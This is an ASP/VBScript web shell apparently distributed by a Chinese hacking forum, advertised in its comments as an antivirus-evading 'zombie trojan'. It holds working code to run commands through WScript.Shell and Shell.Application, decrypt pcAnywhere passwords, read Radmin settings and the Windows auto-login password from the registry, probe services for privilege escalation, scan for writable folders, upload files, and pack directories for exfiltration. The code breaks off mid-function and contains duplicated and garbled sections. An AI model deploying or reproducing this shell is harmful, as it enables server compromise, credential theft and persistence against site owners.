<%@ LANGUAGE = VBScript %><%
UserPass="5201314"
Server.ScriptTimeout=999999999
Response.Buffer =true
On Error Resume Next
mingzi="XXXXX"
nimajb="80sec内部专用过世界杀软休积最小功能超强超猛宇宙第一asp"
SiteURL="http://www.t00ls.net/"
Copyright="t00ls. http://www.t00ls.net
"
'不死僵尸ASP木马完全去后门原代码.
'做了国内第一个可以真正意义可以使用多种组件执行cmd的asp马
'本程序破坏性很大,希望各位谨慎使用,请勿使用于非法用途,否则作者概不负责!
'因为本程序效果很强大,希望大家先改密码，再进行测试!改密码方法修改第四行双引号间.
sub ShowErr()
If Err Then
jb" " & Err.DescrIption & " "
Err.Clear:Response.Flush
ENd IF
End SUB
function jb(Str)
Response.WRItE(Str)
END function
Sub mbd(Str)
execute(Str)
END Sub
Function rePATH(S)
REpath=REpLAcE(s,"\","\\")
ENd Function
FuNctIon RRepaTh(S)
RREpaTH=rEplAcE(S,"\\","\")
end fUncTion
Url=REQueSt.sErVErvARiables("URL")
nimajbm=requESt.sErVeRVArIABlEs("LOCAL_ADDR")
AcTIoN=ReQUESt("Action")
RooTpATH=SeRveR.mAPpaTH(".")
WWWROOt=SErVER.MAppATH("/")
sba=request.servervariables("http_host")
ApdB=Replace(Apds(i),"\Device\","")
appbd=rEQUEsT.seRvErVARIaBLES("PATH_INFO")
FOLdErpAth=REqueSt("FolderPath")
ScrName=Request.ServerVariables("Script_Name")
fNAME=reQUesT("FName")
ServerU=ReQueST.SERVervaRIables("http_host")
WoriNima=Request.ServerVariables("SERVER_NAME")
O0O0=Request.ServerVariables("PATH_TRANSLATED")
WoriNiba=Request.ServerVariables("SERVER_SOFTWARE")
Worininai=Request.ServerVariables("LOCAL_ADDR")
flase="http"
jbmc=Request.ServerVariables("NUMBER_OF_PROCESSORS")
jbmb=Request.ServerVariables("OS")
u=sba&URl:p=userpass
BACkuRl="
"
dim ShiSan,ShiSanNewstr,ShiSanI,fso,f,a,b,temp,c,theAct, thePath
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else
ShiSanNewStr = vbCrLf & ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
mm=ShowErrs
Set fso = CreateObject(oBt(0,0))
Set f = fso.GetFile(O0O0)
if f.attributes <> 39 then
'f.attributes = 39
end if
jb""
jb""&nimajb&" - "&nimajbm&" ":jb"":jb"":jb""
jb ""
DIm oBt(18,2)
oBt(0,0) = "Scri"&"pting.FileSyste"&"mObject"
oBt(0,2) = "文件操作组件"
Obt(1,0) = "ws"&"cript.shell"
obt(1,2) = "命令行执行组件,显示"
obT(2,0) = "ADOX.Catalog"
ObT(2,2) = "ACCESS建库组件"
oBt(3,0) = "JRO.JetEngine"
obt(3,2) = "ACCESS压缩组件"
OBt(4,0) = "Scripting.Dictionary"
ObT(4,2) = "数据流上传辅助组件"
OBT(5,0) = "Adodb.connection"
oBT(5,2) = "数据库连接组件"
oBT(6,0) = "Adodb.Stream"
oBT(6,2) = "数据流上传组件"
OBT(7,0) = "SoftArtisans.FileUp"
OBT(7,2) = "SA-FileUp 文件上传组件"
obT(8,0) = "LyfUpload.UploadFile"
OBT(8,2) = "刘云峰文件上传组件"
oBT(9,0) = "Persits.Upload.1"
oBt(9,2) = "ASPUpload 文件上传组件"
obT(10,0) = "JMail.SmtpMail"
Obt(10,2) = "JMail 邮件收发组件"
obt(11,0) = "CDONTS.NewMail"
ObT(11,2) = "虚拟SMTP发信组件"
ObT(12,0) = "SmtpMail.SmtpMail.1"
oBT(12,2) = "SmtpMail发信组件"
OBT(13,0) = "Micros"&"oft.XM"&"LH"&"TTP"
OBt(13,2) = "数据传输组件"
OBT(14,0) = "ws"&"cript.shell.1"
OBt(14,2) = "如果wsh被禁，可以改用这个组件"
OBT(15,0) = "WS"&"CRIPT.NETWORK"
OBt(15,2) = "查看服务器信息的组件，有时可以用来提权"
OBT(16,0) = "she"&"ll.appl"&"ication"
OBt(16,2) = "she"&"ll.appli"&"cation 操作，无FSO时操作文件以及执行命令"
OBT(17,0) = "sh"&"ell.appl"&"ication.1"
OBt(17,2) = "she"&"ll.appli"&"cation 的别名，无FSO时操作文件以及执行命令"
OBT(18,0) = "Shell.Users"
OBt(18,2) = "删除了net.exe net1.exe的情况下添加用户的组件"
fOr I=0 tO 18
Set T=serVER.CReATEoBJEcT(obT(I,0))
If -2147221005 <> err Then
ISoBJ=" √"
ELSE
ISobj=" ×"
eRr.cLEar
eNd iF
Set T=nOthInG
oBt(i,1)=IsoBj
neXt
IF foLderPaTH<>"" Then
sEssioN("FolderPath")=rRepatH(fOlDeRpATH)
EnD If
If SeSSIoN("FolderPath")="" THEN
fOLDERpAth=RoOTpaTH
SESSIOn("FolderPath")=fOLDeRPatH
end IF
Function PcAnywhere4()
jb"
PcAnywhere提权 Bin版本
"
jb""
jb""
Function StreamLoadFromFile(sPath)
Dim oStream
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 1
.Mode = 3
.Open
.LoadFromFile(sPath)
.Position = 0
StreamLoadFromFile = .Read
.Close
End With
Set oStream = Nothing
End Function
Function hexdec(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then
j = 15
End If
If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then
j = 14
End If
If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then
j = 13
End If
If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then
j = 12
End If
If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then
j = 11
End If
If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then
j = 10
End If
If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
j = CInt(Mid(strin, i, 1))
End If
For k = 1 To Len(strin) - i
j = j * 16
Next
result = result + j
Next
hexdec = result
End Function
Function PcAnywhere(data,mode)
HASH= Mid(data,3)
If mode = "pass" Then number = 32: Cifnum = 144
If mode = "user" Then number = 30: Cifnum = 15
For i = 1 To number Step 2
pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum)
If ((pcstr <= 32) Or (pcstr>127)) Then Exit For
decode = decode + Chr(pcstr)
Cifnum=Cifnum+1
Next
PcAnywhere=decode
End function
Function bin2hex(binstr)
For i = 1 To LenB(binstr)
hexstr = Hex(AscB(MidB(binstr, i, 1)))
If Len(hexstr)=1 Then
bin2hex=bin2hex&"0"&(LCase(hexstr))
Else
bin2hex=bin2hex& LCase(hexstr)
End If
Next
End Function
CIF = Request("path")
If CIF <> "" Then
BinStr=StreamLoadFromFile(CIF)
jb "Pcanywhere Reader ==>
"
jb "PATH:"&CIF&" "
jb "帐号:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user")
jb " "
jb "密码:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass")
End If
Function radmin()
Set WSH= Server.CreateObject("WSCRIPT.SHELL")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\"
Parameter="Parameter"
Port = "Port"
ParameterArray=WSH.REGREAD(RadminPath & Parameter )
jb Parameter&":"
If IsArray(ParameterArray) Then
For i = 0 To UBound(ParameterArray)
If Len (hex(ParameterArray(i)))=1 Then
strObj = strObj & "0"&CStr(Hex(ParameterArray(i)))
Else
strObj = strObj & Hex(ParameterArray(i))
End If
Next
jb strobj
Else
jb "Error! Can't Read!"
End If
jb "
"
PortArray=WSH.REGREAD(RadminPath & Port )
If IsArray(PortArray) Then
jb Port &":"
jb hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))
Else
jb "Error! Can't Read!"
End If
End Function
Function hextointer(strin)
Dim i, j, k, result
result = 0
For i = 1 To Len(strin)
If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then
j = 15
End If
If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then
j = 14
End If
If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then
j = 13
End If
If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then
j = 12
End If
If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then
j = 11
End If
If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then
j = 10
End If
If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then
j = CInt(Mid(strin, i, 1))
End If
For k = 1 To Len(strin) - i
j = j * 16
Next
result = result + j
Next
hextointer = result
End Function:function goback():set Ofso = Server.CreateObject(oBt(0,0))
set ofolder = Ofso.Getfolder(Session("FolderPath")):if not ofolder.IsRootFolder then :jb "":else:jb "":jb "
"
jb""
Call shellcore
End FunCtion
Sub PageAddToMdb()
theAct = Request("theAct")
thePath = Request("thePath")
Server.ScriptTimeOut=100000
If theAct = "addToMdb" Then
addToMdb(thePath)
jb "
操作完成!
"&BackUrl
Response.End
End If
If theAct = "releaseFromMdb" Then
unPack(thePath)
jb "
操作完成!
"&BackUrl
Response.End
End If
jb" 文件夹打包:"
jb""
jb"文件包 解开(需FSO支持): "
jb""
End Sub
Sub addToMdb(thePath)
On Error Resume Next
Dim rs, conn, stream, connStr, adoCatalog
Set rs = Server.CreateObject("ADODB.RecordSet")
Set stream = Server.CreateObject("ADODB.Stream")
Set conn = Server.CreateObject(OBT(5,0))
Set adoCatalog = Server.CreateObject("ADOX.Catalog")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("hsh.mdb")
adoCatalog.Create connStr
conn.Open connStr
conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
stream.Open
stream.Type = 1
rs.Open "FileData", conn, 3, 3
If Request("theMethod") = "fso" Then
fsoTreeForMdb thePath, rs, stream
Else
saTreeForMdb thePath, rs, stream
End If
rs.Close
Conn.Close
stream.Close
Set rs = Nothing
Set conn = Nothing
Set stream = Nothing
Set adoCatalog = Nothing
End Sub
Function fsoTreeForMdb(thePath, rs, stream)
Dim item, theFolder, folders, files, sysFileList
sysFileList = "$hsh.mdb$HSH.ldb$"
If Server.CreateObject(oBt(0,0)).FolderExists(thePath) = False Then
showErr(thePath & " 目录不存在或者不允许访问!")
End If
Set theFolder = Server.CreateObject(oBt(0,0)).GetFolder(thePath)
Set files = theFolder.Files
Set folders = theFolder.SubFolders
For Each item In folders
fsoTreeForMdb item.Path, rs, stream
Next
For Each item In files
If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
rs.AddNew
rs("thePath") = Mid(item.Path, 4)
stream.LoadFromFile(item.Path)
rs("fileContent") = stream.Read()
rs.Update
End If
Next
Set files = Nothing
Set folders = Nothing
Set theFolder = Nothing
End Function
Sub unPack(thePath)
On Error Resume Next
Server.ScriptTimeOut=100000
Dim rs, ws, str, conn, stream, connStr, theFolder
str = Server.MapPath(".") & "\"
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject(OBT(5,0))
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";"
conn.Open connStr
rs.Open "FileData", conn, 1, 1
stream.Open
stream.Type = 1
Do Until rs.Eof
theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
If Server.CreateObject(oBt(0,0)).FolderExists(str & theFolder) = False Then
createFolder(str & theFolder)
End If
stream.SetEos()
stream.Write rs("fileContent")
stream.SaveToFile str & rs("thePath"), 2
rs.MoveNext
Loop
rs.Close
conn.Close
stream.Close
Set ws = Nothing
Set rs = Nothing
Set stream = Nothing
Set conn = Nothing
End Sub
Sub AdDtOmdB(thePath)
oN eRRoR ResUMe nEXt
DiM rs, CONN, sTrEam, conNStr, ADocatALog
SEt rS = SERVER.crEAtEOBJeCT("ADODB.RecordSet")
seT sTrEAM = SerVer.CreAtEoBjECT("ADODB.Stream")
seT COnN = seRVEr.cREATEObjECt(OBT(5,0))
seT aDOcAtalOg = serVeR.CReatEOBjEct("ADOX.Catalog")
ConNstR = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & servEr.mAPpaTH("HYTop.mdb")
ADocAtaLog.cReATe CoNnsTR
CoNN.OPen conNsTr
CONn.EXEcutE("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
STrEAm.OPEn
streaM.TypE = 1
rS.OPEN "FileData", cOnn, 3, 3
If ReQuEsT("theMethod") = "fso" theN
FsOTrEEforMDB thepaTH, Rs, sTrEAm
eLSE
SATrEeforMDB thEpATH, Rs, STrEAm
enD IF
rs.ClosE
coNN.CLoSE
stREaM.CLosE
Set rs = NOThInG
set Conn = nothINg
sET stReam = NOThinG
SEt AdOcAtaloG = nOTHIng
End Sub
Sub AdDtOmdB(thePath)
oN eRRoR ResUMe nEXt
DiM rs, CONN, sTrEam, conNStr, ADocatALog
SEt rS = SERVER.crEAtEOBJeCT("ADODB.RecordSet")
seT sTrEAM = SerVer.CreAtEoBjECT("ADODB.Stream")
seT COnN = seRVEr.cREATEObjECt(OBT(5,0))
seT aDOcAtalOg = serVeR.CReatEOBjEct("ADOX.Catalog")
ConNstR = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & servEr.mAPpaTH("HYTop.mdb")
ADocAtaLog.cReATe CoNnsTR
CoNN.OPen conNsTr
CONn.EXEcutE("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
STrEAm.OPEn
streaM.TypE = 1
rS.OPEN "FileData", cOnn, 3, 3
If ReQuEsT("theMethod") = "fso" theN
FsOTrEEforMDB thepaTH, Rs, sTrEAm
eLSE
SATrEeforMDB thEpATH, Rs, STrEAm
enD IF
rs.ClosE
coNN.CLoSE
stREaM.CLosE
Set rs = NOThInG
set Conn = nothINg
sET stReam = NOThinG
SEt AdOcAtaloG = nOTHIng
End Sub
sUb CreateFoldER(ThePath)
DIM i
I = instR(Thepath, "\")
Do whILe I > 0
iF fSOX.FoLDERExIsts(LEft(THEPaTH, i)) = faLse TheN
fSox.CreatEFOLDEr(lEft(THePatH, I - 1))
end If
IF INSTR(mid(THePAth, i + 1), "\") tHEN
i = i + INsTr(mid(ThePaTh, i + 1), "\")
ELSe
i = 0
eND If
LOOP
eND sUB
sUB SAtreEforMdB(thePaTh, rs, STREam)
diM iTeM, tHEFOlDER, SySFilELIsT
SYSfileliSt = "$HYTop.mdb$HYTop.ldb$"
SeT thEfoLdEr = sAX.NAMeSPaCe(thepath)
for eaCH iTEm in tHeFoldeR.iteMS
If ItEm.ISFoLDeR = TRUe tHen
SatrEEfoRMDB itEm.PatH, rs, Stream
elSe
iF iNSTr(SYsFilELIsT, "$" & ItEm.naME & "$") <= 0 tHeN
rs.AddNew
rs("thePath") = MID(ITeM.PatH, 4)
sTrEAm.LoadfroMfiLe(ITEM.PATH)
RS("fileContent") = sTREAM.rEaD()
rs.uPDaTE
enD iF
enD If
NeXT
seT thefoLDeR = NoTHINg
END SUB
Sub Message(state,msg,flag):jb "
":Set FSO=Nothing:End Sub:Sub ScanDrive(Drive):Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D:If Drive <> "" Then
Set FSO = Server.Createobject(oBt(0,0))
Set TestDrive = FSO.GetDrive(Drive)
If TestDrive.IsReady Then
Temp_Str = "
磁盘根目录:" & ScReWr((Drive & ":\"))
Set BaseFolder = TestDrive.RootFolder
Set TempFolders = BaseFolder.SubFolders
For Each D in TempFolders
Temp_Str = Temp_Str & "
文件夹：" & ScReWr(D)
Next
Set TempFolder = Nothing
Set BaseFolder = Nothing
Else
Temp_Str = Temp_Str & "
磁盘根目录:" & Red("不可读:(")
Dim TempFolderList,t:t=0
Temp_Str = Temp_Str & "
" & Red("穷举目录测试：")
TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp")
For i = 0 to Ubound(TempFolderList)
If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then
t = t+1
Temp_Str = Temp_Str & "
发现文件夹：" & ScReWr(Drive & ":\" & TempFolderList(i))
End if
Next
If t=0 then Temp_Str = Temp_Str & "
已穷举" & Drive & "盘根目录，但未有发现:("
End if
Set TestDrive = Nothing
Set FSO = Nothing
Temp_Str = Temp_Str & "" & ("")
Message Drive & ":磁盘信息",Temp_Str,1
End if
End Sub
str1=request.ServerVariables("HTTP_HOST")&request.ServerVariables("URL")
Sub ScFolder(folder)
On Error Resume Next
Dim FSO,OFolder,TempFolder,Scmsg,S
Set FSO = Server.Createobject(oBt(0,0))
If FSO.FolderExists(folder) Then
Set OFolder = FSO.GetFolder(folder)
Set TempFolders = OFolder.SubFolders
Scmsg = "
指定文件夹根目录：" & ScReWr(folder)
For Each S in TempFolders
Scmsg = Scmsg&"
文件夹：" & ScReWr(S)
Next
Set TempFolders = Nothing
Set OFolder = Nothing
Else
Scmsg = Scmsg & "
文件夹：" & (folder & "不存在或无读权限!")
End if
Scmsg = Scmsg & "" & ("")
Set FSO = Nothing
Message "文件夹信息",Scmsg,1
End Sub
Function ScReWr(folder)
On Error Resume Next
Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename
Set FSO = Server.Createobject(oBt(0,0))
Set TestFolder = FSO.GetFolder(folder)
Set TestFileList = TestFolder.SubFolders
RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp"
For Each A in TestFileList
Next
If err Then
err.Clear
ReWrStr = folder & " 不可读,"
FSO.CreateTextFile folder & RndFilename,True
If err Then
err.Clear
ReWrStr = ReWrStr & "不可写。"
Else
ReWrStr = ReWrStr & "可写。"
FSO.DeleteFile folder & RndFilename,True
End If
Else
ReWrStr = folder & " 可读,"
FSO.CreateTextFile folder & RndFilename,True
If err Then
err.Clear
ReWrStr = ReWrStr & "不可写。"
Else
ReWrStr = ReWrStr & "可写。"
FSO.DeleteFile folder & RndFilename,True
End if
End if
Set TestFileList = Nothing
Set TestFolder = Nothing
Set FSO = Nothing
ScReWr = ReWrStr
End Function
Function Course()
si="
"
SI=Si&"
系统用户与服务
"
on erRoR reSUme NEXT
For eACh obJ in geToBJeCt("WinNT://.")
Err.clEAR
If ObJ.STArtTYpe="" THeN
sI=SI&"
"
Si=SI&"
"
si=si&Obj.naME
sI=sI&"
"
si=SI&"系统用_户(组)"
si=Si&"
"
Si0="
"
EnD if
iF oBj.StArTtype=2 thEN lx="自动"
IF oBj.StARTTyPe=3 tHEN LX="手动"
IF obj.StarTtYpE=4 thEN LX="禁用"
iF LCaSe(mid(obj.pAth,4,3))<>"win" AnD obJ.STarttYpe=2 tHeN
Si1=si1&"
"&obj.NAME&"
"&OBj.DISPlaYName&"
[启动类型:"&Lx&"] "&ObJ.PATh&"
"
ELSE
si2=sI2&"
"&obj.NAme&"
"&oBj.DisplAYNaMe&"
[启动类型:"&Lx&"] "&OBj.PAtH&"
"
end if
nExt
jb si&Si0&sI1&si2&"
"
ENd Function
fuNcTion DownFILE(PAth)
RespoNse.cleAr
sEt Osm = creATEOBJeCT(OBT(6,0))
oSM.oPEN
oSM.tYPe = 1
osm.lOAdfromFILe PatH
Sz=inSTRrEv(PAth,"\")+1
ReSPoNse.AddHEaDer "Content-Disposition", "attachment; filename=" & mid(pAth,SZ)
RESPOnSe.AdDHeAder "Content-Length", Osm.SIzE
ResPOnsE.ChARSET = "UTF-8"
ReSPOnSe.CONTENTTYpE = "application/octet-stream"
RESPONSE.binArywRiTE oSm.Read
rEsponSE.flUSh
osM.cLoSe
SeT OsM = nOThINg
eNd FUnction
fUnCtIOn htMLeNcODe(s)
if NoT iSnull(s) THen
S = ReplACE(S, ">", ">")
S = rePlaCE(s, "<", "<")
S = rEplAce(S, CHR(39), "'")
S = RepLAcE(S, chR(34), """)
S = REPLACE(s, chr(20), " ")
hTmLencoDE = S
End iF
End Function:Sub GetTerminalInfo()
on error resume next
dim wsh
set wsh=createobject("Wscript.Shell")
jb "[网络 探测] "
EnableTCPIPKey="HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters"
isEnable=Wsh.Regread(EnableTcpipKey)
If isEnable=0 or isEnable="" Then
Notcpipfilter=1
End If
ApdKey="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind"
Apds=Wsh.RegRead(ApdKey)
If IsArray(Apds) Then
For i=LBound(Apds) To UBound(Apds)-1
jb "网卡"&i&"的序列为: "&ApdB&" "
Path="HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\"
IPKey=Path&ApdB&"\IPAddress"
IPaddr=Wsh.Regread(IPKey)
If IPaddr(0)<>"" Then
For j=Lbound(IPAddr) to Ubound(IPAddr)
jb "
IP地址"&j&"为:"&IPAddr(j)&" "
Next
Else
jb "
IP地址 无法读取 或没有设置 "
End if
GateWayKey=Path&ApdB&"\DefaultGateway"
GateWay=Wsh.Regread(GateWayKey)
If isarray(GateWay) Then
For j=Lbound(Gateway) to Ubound(Gateway)
jb "
网关"&j&"为:"&Gateway(j)&" "
Next
Else
jb "
默认网关无法 读取或 没有设置 "
End if
DNSKey=Path&ApdB&"\NameServer"
DNSstr=Wsh.RegRead(DNSKey)
If DNSstr<>"" Then
jb "
网卡DNS为:"&DNSstr&" "
Else
jb "
默认DNS 无法读取 或没有设置 "
End If
if Notcpipfilter=1 Then
jb "
没有 Tcp/IP筛选 "
else
ETK="\TCPAllowedPorts"
EUK="\UDPAllowedPorts"
FullTCP=Path&ApdB&ETK
FullUDP=path&ApdB&EUK
tcpallow=Wsh.RegRead(FullTCP)
If tcpallow(0)="" or tcpallow(0)=0 Then
jb "
允许的TCP端口为 :全部 "
Else
jb "
允许的TCP 端口为:"
For j = LBound(tcpallow) To UBound(tcpallow)
jb tcpallow(j)&","
Next
jb " "
End if
udpallow=Wsh.RegRead(FullUDP)
If udpallow(0)="" or udpallow(0)=0 Then
jb "
允许的UDP端口为:全部 "
Else
jb "
允许的UDP 端口为:"
for j = LBound(udpallow) To UBound(udpallow)
jb UDPallow(j)&","
next
jb " "
End if
End if
jb "------------------------------------------------ "
Next
end if
jb "
[特殊端口 探测] "
Telnetkey="HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\TelnetServer\1.0\TelnetPort"
TlntPort=Wsh.RegRead(TelnetKey)
if TlntPort="" Then Tlnt="23(默认 设置)"
jb "
Telnet端 口:"&Tlntport&" "
TermKey="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber"
TermPort=Wsh.RegRead(TermKey)
If TermPort="" Then TermPort="无法读取.请 确认是否为Windows Server版本 主机"
jb "
Terminal Service端口为:"&TermPort&" "
pcAnywhereKey="HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPDataPort"
PAWPort=Wsh.RegRead(pcAnywhereKey)
If PAWPort="" then PAWPort="无法获取. 请 确认主 机是 否安装pcAnywhere"
jb "
PcAnywhere端口为:"&PAWPort&" "
jb "------------------------------------------------------"
Set wsX = Server.CreateObject("WScript.Shell")
Dim terminalPortPath, terminalPortKey, termPort
Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey
Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword
terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
terminalPortKey = "PortNumber"
termPort = wsX.RegRead(terminalPortPath & terminalPortKey)
jb"终端服务端口及自动登录"
If termPort = "" Or Err.Number <> 0 Then
jb"无 法得到终端服务端口 , 请检查权限是否已经受 到限制 . "
Else
jb"当 前 终 端 服 务 端 口 : " & termPort & " "
End If
autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"
autoLoginEnableKey = "AutoAdminLogon"
autoLoginUserKey = "DefaultUserName"
autoLoginPassKey = "DefaultPassword"
isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey)
If isAutoLoginEnable = 0 Then
jb"系统自动登录 功能未开启 "
Else
autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey)
jb"自动登录 的系统 帐户 : " & autoLoginUsername & " "
autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey)
If Err Then
Err.Clear
jb"False"
End If
jb"自动 登录的 帐户 密码 : " & autoLoginPassword & " "
End If
jb""
jb "
[系统 软件探测] "
SoftPath=Wsh.Environment.item("Path")
Pathinfo=lcase(SoftPath)
jb "系统软件支持:"
if Instr(Pathinfo,"perl") Then jb "
Perl脚 本:支持 "
if instr(Pathinfo,"java") Then jb "
Java脚本: 支持 "
if instr(Pathinfo,"microsoft sql server") Then jb "
MSSQL数据库服务:支持 "
if instr(Pathinfo,"mysql") Then jb "
MySQL数 据库 服务: 支持 "
if instr(Pathinfo,"oracle") Then jb "
Oracle数据 库服务: 支持 "
if instr(Pathinfo,"cfusionmx7") Then jb "
CFM服务器 :支持 "
if instr(Pathinfo,"pcanywhere") Then jb "
赛门铁 克PcAnywhere控 制:支持 "
if instr(Pathinfo,"Kill") Then jb "
Kill杀毒软 件:支持 "
if instr(Pathinfo,"kav") Then jb "
金山系列 杀毒软件 :支持 "
if instr(Pathinfo,"antivirus") Then jb "
赛门铁克杀毒软件:支持 "
if instr(Pathinfo,"rising") Then jb "
瑞星系列杀毒软件:支持 "
paths=split(SoftPath,";")
jb "------------------------------------ "
jb "系统当前 路径变量: "
For i=Lbound(paths) to Ubound(paths)
jb "
"&paths(i)&" "
next
jb "
[系 统设置 探测] "
pcnamekey="HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName"
pcname=wsh.RegRead(pcnamekey)
if pcname="" Then pcname="无法读取主机名. "
jb "
当前主 机名 为:"&pcname&" "
AdminNameKey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultUserName"
AdminName=wsh.RegRead(AdminNameKey)
if adminname="" Then AdminName="Administrator"
jb "
默认管 理员用户名为:"&AdminName&" "
isAutologin="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon"
Autologin=Wsh.RegRead(isAutologin)
if Autologin=0 or Autologin="" Then
jb "
密码:"&Passwd&" "
End if
displogin=wsh.regRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DontDisplayLastUserName")
If displogin="" or displogin=0 Then disply="是" else disply="否"
jb "
是否显示上 次登入用户:"&disply&" "
NTMLkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\NTML"
ntml=Wsh.RegRead(NTMLkey)
if ntml="" Then Ntml=1
jb "
"
jb "[服务 器弱 点探测] "
Set objComputer = GetObject("WinNT://.")
Set sa = Server.CreateObject("Shell.Application")
objComputer.Filter = Array("Service")
On Error Resume Next
For Each objService In objComputer
if objService.Name="Serv-U" Then
if objService.ServiceAccountName="LocalSystem" Then
jb "
服务器 中有 Se rv-U 安 装,且以LocalSystem权限启动,可以 考虑提权 "
End if
End if
if lcase(objService.Name)="apache" Then
if objService.ServiceAccountName="LocalSystem" Then
If instr("&woriniba&","Apache") Then
jb "
当前WEB服 务器为 Apache.可以直接提权 "
Else
jb "
服务器中有Apache服 务存在,启动权限为LocalSystem,可以考 虑PHP木马 "
End if
end if
End if
if instr(lcase(objService.Name),"tomcat") Then
if objService.ServiceAccountName="LocalSystem" Then
jb "
服务器 中有Tomcat,且以LocalSystem权限启动,可以 考虑使用Jsp木 马提权 "
End if
End if
if instr(lcase(objService.Name),"winmail") Then
if objService.ServiceAccountName="LocalSystem" Then
jb "
服务 器中有Magic Winmail,且以LocalSystem权限启动,可以查找WebMai l目录,并且写入PHP木马 "
End if
End if
Next
Set fso=Server.Createobject("Scripting.FileSystemObject")
Sysdrive=left(Fso.GetspecialFolder(2),2)
servername=wsh.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName")
If fso.FileExists(sysdriver&"\Documents And Settings\All Users\Application Data\Symantec\"&servername&".cif") Then
jb "
发现pcAnywher e密码文件,可以从默认目录下载并 破解 得到pcAnyw here密 码"
End if
end sub:Function UpFile()
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" Or F.FileSize=0 then
SI=" 请输_入上传_的完全_路径后选择_一个文件_上传!"
Else
F.SaveAs UName
If Err.number=0 Then
SI="
文件"&UName&"上 传 成功！
"
End if
End If
Set F=nothing:Set U=nothing
SI=SI&BackUrl
jb SI
ShowErr()
Response.End
End If
SI="
"
SI=SI&"
"
echo SI
End Function
function cmd1shell()
on error resume next
if request("sp")<>"" then session("shellpath") = request("sp")
shellpath=session("shellpath")
if shellpath="" then shellpath = "cmd.exe"
if request("cmd")<>"" then session("defcmd") = request("cmd")
defcmd=session("defcmd")
if defcmd="" then defcmd="set"
if request("rwpath")<>"" then session("rwpath") = request("rwpath")
rwpath=session("rwpath")
if rwpath="" then rwpath=server.mappath(".")
si=""
case "wscript.shell","wscript.shell.1"
on error resume next
set ws=server.createobject(request("cmdtype"))
